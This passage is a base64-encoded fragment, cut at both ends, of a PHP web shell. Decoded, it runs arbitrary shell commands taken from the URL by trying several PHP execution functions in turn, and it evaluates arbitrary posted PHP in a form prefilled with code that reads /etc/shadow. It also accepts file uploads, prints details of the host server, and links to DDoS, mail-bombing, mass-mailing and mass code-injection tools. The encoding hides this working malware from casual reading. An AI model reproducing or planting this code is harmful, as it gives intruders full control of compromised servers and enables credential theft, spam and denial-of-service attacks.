1bmNoIHRoZSBzaGVsbCANCmVsc2UgIA0KeyANCiAgICAvLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gRnVjdGlvbnMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQogICAgZnVuY3Rpb24gc2hvd0RyaXZlcygpIA0KICAgIHsgDQogICAgICAgIGdsb2JhbCAkc2VsZjsgDQogICAgICAgIGZvcmVhY2gocmFuZ2UoJ0EnLCdaJykgYXMgJGRyaXZlKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgPz4gDQogICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRpciIgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZHJpdmUuIjpcXCI7ID8+Jz4gDQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiID8+IA0KICAgICAgICAgICAgICAgIDwvYT4gIA0KICAgICAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgZnVuY3Rpb24gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRzaXplKSANCiAgICB7IA0KICANCiAgICAgICAgJG1vZCA9IDEwMjQ7IA0KICANCiAgICAgICAgJHVuaXRzID0gZXhwbG9kZSgnICcsJ0IgS0IgTUIgR0IgVEIgUEInKTsgDQogICAgICAgIGZvciAoJGkgPSAwOyAkc2l6ZSA+ICRtb2Q7ICRpKyspICANCiAgICAgICAgeyANCiAgICAgICAgICAgICRzaXplIC89ICRtb2Q7IA0KICAgICAgICB9IA0KICANCiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skaV07IA0KICAgIH0gDQoNCmZ1bmN0aW9uIGdldENsaWVudElwKCkgDQp7IA0KICAgIGVjaG8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IA0KfSANCg0KZnVuY3Rpb24gZ2V0U2VydmVySXAoKSANCnsgDQogICAgZWNobyBnZXRlbnYoJ1NFUlZFUl9BRERSJyk7IA0KfSANCmZ1bmN0aW9uIGdldFNvZnR3YXJlSW5mbygpIA0KeyANCiAgICBlY2hvIHBocF91bmFtZSgpOyANCn0gDQpmdW5jdGlvbiBkaXNrU3BhY2UoKSANCnsgDQogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza190b3RhbF9zcGFjZSgiLyIpKTsgDQp9IA0KZnVuY3Rpb24gZnJlZVNwYWNlKCkgDQp7IA0KICAgIGVjaG8gSHVtYW5SZWFkYWJsZUZpbGVzaXplKGRpc2tfZnJlZV9zcGFjZSgiLyIpKTsgDQp9IA0KZnVuY3Rpb24gZ2V0U2FmZU1vZGUoKSANCnsgDQogICAgICAgIGdsb2JhbCAkc207IA0KICAgICAgICBlY2hvKCRzbT8iT04gOiggOicoIChNb3N0IG9mIHRoZSBGZWF0dXJlcyB3aWxsIE5vdCBXb3JrISkiOiJPRkYiKTsgDQogICAgICAgICANCn0gDQoNCmZ1bmN0aW9uIGdldERpc2FibGVkRnVuY3Rpb25zKCkgDQp7IA0KICAgIGlmKCFpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSANCiAgICB7IA0KICAgICAgICBlY2hvICJOb25lIjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgICAgICBlY2hvIEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyANCiAgICB9IA0KfSANCg0KZnVuY3Rpb24gZ2V0RmlsZVBlcm1pc3Npb25zKCRmaWxlKSANCnsgDQogICAgIA0KJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsgDQoNCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgDQogICAgLy8gU29ja2V0IA0KICAgICRpbmZvID0gJ3MnOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsgDQogICAgLy8gU3ltYm9saWMgTGluayANCiAgICAkaW5mbyA9ICdsJzsgDQp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7IA0KICAgIC8vIFJlZ3VsYXIgDQogICAgJGluZm8gPSAnLSc7IA0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgeyANCiAgICAvLyBCbG9jayBzcGVjaWFsIA0KICAgICRpbmZvID0gJ2InOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsgDQogICAgLy8gRGlyZWN0b3J5IA0KICAgICRpbmZvID0gJ2QnOyANCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsgDQogICAgLy8gQ2hhcmFjdGVyIHNwZWNpYWwgDQogICAgJGluZm8gPSAnYyc7IA0KfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgeyANCiAgICAvLyBGSUZPIHBpcGUgDQogICAgJGluZm8gPSAncCc7IA0KfSBlbHNlIHsgDQogICAgLy8gVW5rbm93biANCiAgICAkaW5mbyA9ICd1JzsgDQp9IA0KDQovLyBPd25lciANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7IA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyANCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogDQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQoNCi8vIEdyb3VwIA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/IA0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiANCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyANCg0KLy8gV29ybGQgDQokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyANCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7IA0KJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8gDQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6IA0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IA0KDQpyZXR1cm4gJGluZm87IA0KDQp9IA0KDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIA0KLy8gZXhlY19hbGwgLCBBIGZ1bmN0aW9uIHVzZWQgdG8gZXhlY3V0ZSBjb21tYW5kcyAsIFRoaXMgZnVuY3Rpb24gd2lsbCBvbmx5IGV4ZWN1dGUgaWYgdGhlIFNhZmUgTW9kZSBpcyANCi8vIFR1cm5lZCBPZkYhIA0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIA0KDQoNCmZ1bmN0aW9uIGV4ZWNfYWxsKCRjb21tYW5kKSANCnsgDQogICAgIA0KICAgICRvdXRwdXQgPSAnJzsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIA0KICAgIHsgICAgDQogICAgICAgIGV4ZWMoJGNvbW1hbmQsJG91dHB1dCk7IA0KICAgICAgICAkb3V0cHV0ID0gam9pbigiXG4iLCRvdXRwdXQpOyANCiAgICB9IA0KICAgICANCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSANCiAgICB7IA0KICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSANCiAgICB7IA0KICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNvbW1hbmQgLCAiciIpOyAvLyBPcGVuIHRoZSBjb21tYW5kIHBpcGUgZm9yIHJlYWRpbmcgDQogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRoYW5kbGUpKSANCiAgICAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRoYW5kbGUsIDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmZ2V0cygkaGFuZGxlLDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBwY2xvc2UoJGhhbmRsZSk7IA0KICAgIH0gDQogICAgIA0KICAgICANCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIA0KICAgIHsgDQogICAgICAgIG9iX3N0YXJ0KCk7IC8vc3RhcnQgb3V0cHV0IGJ1ZmZlcmluZyANCiAgICAgICAgc3lzdGVtKCRjb21tYW5kKTsgDQogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgDQogICAgICAgIG9iX2VuZF9jbGVhbigpOyAgICAgICAgICAgICAgICAgLy8gU3RvcCBvdXRwdXQgYnVmZmVyaW5nIA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSANCiAgICB7IA0KICAgICAgICBvYl9zdGFydCgpOyAvL3N0YXJ0IG91dHB1dCBidWZmZXJpbmcgDQogICAgICAgIHBhc3N0aHJ1KCRjb21tYW5kKTsgDQogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgDQogICAgICAgIG9iX2VuZF9jbGVhbigpOyAgICAgICAgICAgICAgICAgLy8gU3RvcCBvdXRwdXQgYnVmZmVyaW5nICAgICAgICAgICAgIA0KICAgIH0gDQogICAgIA0KICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgDQogICAgeyANCiAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIA0KICAgICAgICAgICAgICAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgLy8gc3Rkb3V0IGlzIGEgcGlwZSB0aGF0IHRoZSBjaGlsZCB3aWxsIHdyaXRlIHRvIA0KICAgICAgICAgICAgICAgICk7IA0KICAgICAgICAkaGFuZGxlID0gcHJvY19vcGVuKCRjb21tYW5kICwkZGVzY3JpcHRvcnNwZWMgLCAkcGlwZXMpOyAvLyBUaGlzIHdpbGwgcmV0dXJuIHRoZSBvdXRwdXQgdG8gYW4gYXJyYXkgJ3BpcGVzJyANCiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGhhbmRsZSkpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSkgDQogICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmcmVhZCgkcGlwZXNbMV0sIDUxMik7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKSANCiAgICAgICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRwaXBlc1sxXSw1MTIpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyANCiAgICB9IA0KICAgIGVsc2UgDQogICAgeyANCiAgICAgICAgJG91dHB1dCA9ICJUaGV5IGhhdmUgdGhlaXIgU2VjdXJpdHkgdGhlcmUhIDooICI7IA0KICAgIH0gDQogICAgIA0KICAgIHJldHVybihodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpKTsgDQogICAgIA0KfSANCmZ1bmN0aW9uIG1hZ2ljUXVvdGUoJHRleHQpIA0KeyANCiAgICBpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIA0KICAgIHsgDQogICAgICAgIHJldHVybiAkdGV4dDsgDQogICAgfSANCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsgDQp9IA0KLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQoNCg0KPz4gDQoNCjx0YWJsZSBjbGFzcz0idG9wIj4gDQogICAgPHRib2R5PiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIj4gDQogICAgICAgICAgICAgICAgPGgxPjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUljZWxhbmQnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPg0KPHN0eWxlPmJvZHl7Y3Vyc29yOnVybCgiLi4vd3d3Lm1hZGxlZXRzLmNvbS9lbGhhY2tlci5jdXIiKSxhdXRvO31odG1se2Rpc3BsYXk6dGFibGU7aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJTt9Ym9keXtkaXNwbGF5OnRhYmxlLXJvdzt9Ym9keXtkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246bWlkZGxlO3RleHQtYWxpZ246Y2VudGVyO31hOmxpbmt7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fTwvc3R5bGU+DQo8Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vaS5pbWd1ci5jb20vNmtCZDVnNC5wbmciIGFsdD0ibG9nbyI+DQo8L2NlbnRlcj4NCjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjwvaDE+PGJsb2NrcXVvdGUgY2xhc3M9InNtYWxsIj5TaGVsbDwvYmxvY2txdW90ZT4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgPC9kaXY+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4gDQogICAgICAgICAgICA8P3BocCBnZXRTb2Z0d2FyZUluZm8oKTsgPz48YnIgLz4gDQpZb3VyIElQIDogPD9waHAgZ2V0Q2xpZW50SXAoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IFNlcnZlciBJUCA6IDw/cGhwIGdldFNlcnZlcklwKCk7Pz4gPGJyIC8+IA0KICAgICAgICAgICAgU2FmZSBNb2RlIDogPD9waHAgZ2V0U2FmZU1vZGUoKTsgPz48YnIgLz4gDQogICAgICAgICAgICA8P3BocCBpZigkb3MgPT0gJ1dpbmRvd3MnKXsgZWNobyBzaG93RHJpdmVzKCk7fSA/PiA8P3BocCBlY2hvIGdldGN3ZCgpOz8+IA0KICAgICAgICAgICAgPC9kaXY+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGJvZHk+IA0KPC90YWJsZT4gDQo8ZGl2IGNsYXNzPSJoZWFkZXIiIGlkPSJib3JkZXJzIj4gDQogICAgICAgICAgICBTZXJ2ZXIgQURNSU46IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddOz8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIFBIUCBWRVJTSU9OIDogPD9waHAgZWNobyAkcGhwVmVyc2lvbjsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgQ3VybCA6IDw/cGhwIGVjaG8gZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gDQogICAgICAgICAgICBPcmFjbGUgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gDQogICAgICAgICAgICBNeVNRTCA6IDw/cGhwICBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7Pz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgTVNTUUwgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIFBvc3RncmVTUUwgOiA8P3BocCBlY2hvIGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiANCiAgICAgICAgICAgIERpc2FibGUgZnVuY3Rpb25zIDogPD9waHAgZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgU3BhY2UgOiA8P3BocCBkaXNrU3BhY2UoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IA0KICAgICAgICAgICAgRnJlZSA6IDw/cGhwIGZyZWVTcGFjZSgpOyA/PiANCiAgICAgICAgPC90YWJsZT4gDQo8L2Rpdj4gDQo8ZGl2IGNsYXNzPSJuYXYiPiANCjx1bD4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iPkhvbWU8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz91cGxvYWQnOz8+Ij5VcGxvYWQ8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9zaGVsbCc7Pz4iPlNoZWxsPC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZG9zJzs/PiI+RERvUzwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2Z1enonOz8+Ij5XZWItU2VydmVyIEZ1enplcjwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP21haWwnPz4iPk1hc3MgTWFpbGVyPC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/Ym9tYic/PiI+TWFpbCBCb21iZXI8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9jb25uZWN0Jz8+Ij5Db25uZWN0PC9hPjwvbGk+IA0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/aW5qZWN0b3InPz4iPk1hc3MgQ29kZSBJbmplY3RvcjwvYT48L2xpPiANCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2RlY29kZSc/PiI+UEhQIERlY29kZXI8L2E+PC9saT4gDQogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9ldmFsJz8+Ij5QSFAgRXZhbHVhdGU8L2E+PC9saT4gDQoNCiAgICA8P3BocCBpZigkbG9jayA9PSAnb24nKSANCiAgICB7IA0KICAgID8+IA0KICAgICAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP2xvZ291dCc/PiI+SSBtIE91dCE8L2E+PC9saT4gDQogICAgPD9waHAgDQogICAgfSANCiAgICA/PiANCjwvdWw+IA0KPC9kaXY+IA0KDQo8P3BocCANCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQ2hlY2sgd2hhdCBoZSB3YW50cyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQovLyBTaGVsbCANCg0KaWYoaXNzZXQoJF9HRVRbJ3NoZWxsJ10pKSANCnsgDQogICAgaWYoIWlzc2V0KCRfR0VUWydjbWQnXSkgfHwgJF9HRVRbJ2NtZCddID09ICcnKSANCiAgICB7IA0KICAgICAgICAkcmVzdWx0ID0gIiI7ICAgICANCiAgICB9IA0KICAgIGVsc2UgDQogICAgeyANCiAgICAgICAgJHJlc3VsdD1leGVjX2FsbCgkX0dFVFsnY21kJ10pOyANCiAgICB9IA0KICAgID8+IA0KICAgIDx0ZXh0YXJlYSBjbGFzcz0iY21kIiBjb2xzPSIxMDAiIHJvd3M9IjIwIj48P3BocCBlY2hvICRyZXN1bHQ7Pz48L3RleHRhcmVhPjxiciAvPjxiciAvPiANCiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iIG1ldGhvZD0iR0VUIj4gDQogICAgPCEtLSBGb3IgU2hlbGwgLS0+IA0KICAgIDxpbnB1dCBuYW1lPSJzaGVsbCIgdHlwZT0iaGlkZGVuIiAvPiANCiAgICA8IS0tIEZvciBDTUQgLS0+IA0KICAgIDxpbnB1dCBuYW1lPSJjbWQiIGNsYXNzPSJjbWQiIC8+IA0KICAgIDxpbnB1dCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTcGluIFRoYXQgU2hpdCEiIGNsYXNzPSJvd24iIHR5cGU9InN1Ym1pdCIgLz4gDQogICAgPC9mb3JtPiANCiAgICA8P3BocCANCn0gDQoNCg0KLy8gUEhQIGV2YWx1YXRlIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydldmFsJ10pKSANCnsgDQogICAgPz4gDQogICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gDQogICAgPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJjbWQiIGNvbHM9IjEwMCIgcm93cz0iMjAiPjw/cGhwIA0KICAgIC8vIElmIHRoZSBjb21hbmQgd2FzIHNlbnQgDQogICAgaWYoaXNzZXQoJF9QT1NUWydjb2RlJ10pIA0KICAgICAgICAmJiAkX1BPU1RbJ2NvZGUnXSANCiAgICApIA0KICAgIHsgDQogICAgICAgIC8vIEZJbHRlciBTb21lIENoYXJzIHdlIGRvbnQgbmVlZCANCg0KICAgICAgICAkY29kZSA9IHN0cl9yZXBsYWNlKCI8P3BocCIsIiIsJF9QT1NUWydjb2RlJ10pOyANCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD8iLCIiLCRjb2RlKTsgDQogICAgICAgICRjb2RlID0gc3RyX3JlcGxhY2UoIj8+IiwiIiwkY29kZSk7IA0KDQogICAgICAgIC8vIEV2YWx1YXRlIFBIUCBDb0RFISANCg0KICAgICAgICBodG1sc3BlY2lhbGNoYXJzKGV2YWwoJGNvZGUpKTsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9zaGFkb3cnKTs8P3BocCANCiAgICB9IA0KICAgID8+PC90ZXh0YXJlYT48YnIgLz48YnIgLz4gDQogICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV2YWwgVGhhdCBDT2RlISA6RCIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiAvPiANCiAgICA8L2Zvcm0+IA0KICAgIDw/cGhwIA0KICAgICANCn0gDQoNCi8vIFVwbG9hZCANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSANCnsgDQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10pICYmIA0KICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIA0KICAgICApIA0KICAgIHsgDQogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IA0KICAgICAgICAgICAgIA0KICAgICAgICBpZigkcGF0aFsoc3RybGVuKCRwYXRoKS0xKV0gIT0gJFNFUEFSQVRPUil7JHBhdGggPSAkcGF0aC4kU0VQQVJBVE9SO30gDQogICAgICAgICANCiAgICAgICAgaWYoaXNfZGlyKCRwYXRoKSkgDQogICAgICAgIHsgDQogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyANCiAgICAgICAgICAgICR0ZW1wTmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsgDQogICAgICAgICAgICAkdXBsb2FkUGF0aCA9ICRwYXRoIC4gICR1cGxvYWRlZEZpbGVQYXRoOyANCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgDQogICAgICAgICAgICBpZiAoJHN0YXQpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZycgPiA6KCA6JyggRmFpbGVkIHRvIHVwbG9hZCBmaWxlIHRvICR1cGxvYWRQYXRoPC9wPiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgIH0gDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgPz4gDQogICAgPHRhYmxlIGNsYXNzPSJiaW5kIiBhbGlnbj0iY2VudGVyIiA+IA0KICAgIDx0cj4gDQogICAgICAgIDx0aCBjbGFzcz0iaGVhZGVyIiBjb2xzcGFuPSIxIiB3aWR0aD0iNTBweCI+VXBsb2FkIChGcm9tIHVyIENvbXB1dGVyKTwvdGg+IA0KICAgIDwvdHI+IA0KICAgIDx0cj4gDQogICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IA0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiANCiAgICAgICAgICAgICAgICAgI